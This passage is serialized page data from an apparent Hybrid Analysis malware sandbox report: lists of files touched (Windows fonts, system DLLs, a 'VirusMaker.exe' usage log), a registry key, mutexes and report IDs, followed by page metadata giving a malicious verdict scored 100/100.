,"sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\ONYX.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\PARCHM.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\PLAYBILL.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\POORICH.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\RAVIE.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\INFROMAN.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\SHOWG.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\SNAP____.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\STENCIL.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\TEMPSITC.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\VINERITC.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\VIVALDII.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\VLADIMIR.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\LATINWD.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\CENTURY.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\WINGDNG2.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\WINGDNG3.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\ARIALUNI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\MSMINCHO.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%COMMONPROGRAMFILES%\\MICROSOFT SHARED\\EQUATION\\MTEXTRA.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\OUTLOOK.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\BSSYM7.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\REFSAN.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\REFSPCL.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\Fonts\\staticcache.dat","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\system32\\tzres.dll","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\system32\\en-US\\MSCTF.dll.mui","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"},{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"},{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\CLR_v4.0_32\\UsageLogs\\VirusMaker.exe.log","sources":[{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCU\\SOFTWARE\\MICROSOFT\\GDIPLUS\\","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"},{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"Local\\SM0:7728:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"name":"Local\\SM0:7728:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"name":"SM0:7728:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3892:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3892:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"name":"Local\\SM0:3892:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"name":"Local\\SM0:3892:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]}]}},"report_ids":{"sandbox_job_ids":["6398de46c519e127df2a5efa","5b50741e9ac508f90ba182fe","668a56cb5b5bc9eb560b1635","57cdbdcfaac2ed437eba215e"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Win/malicious_confidence_60% Sample 16f14bd60c84… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 16f14bd60c84…. Malware family: Win/malicious_confidence_60%. Threat score 100/100. 12/27 AV engines flagged this file. 5 malicious and 20 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/16f14bd60c84a7838b99c34a791d5d334f08ee1e588c95162290ced38db8b092"}],["$","meta","4",{"property":"og:title","content":"Malicious Win/malicious_confidence_60% Sample 16f14bd60c84… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 16f14bd60c84…. Malware family: Win/malicious_confidence_60%. Threat score 100/100. 12/27 AV engines flagged this file. 5 malicious and 20 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/16f14bd60c84a7838b99c34a791d5d334f08ee1e588c95162290ced38db8b092"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Win/malicious_confidence_60% Sample 16f14bd60c84… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 16f14bd60c84…. Malware family: Win/malicious_confidence_60%. Threat score 100/100. 12/27 AV engines flagged this file. 5 malicious and 20 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L40","11",{}]]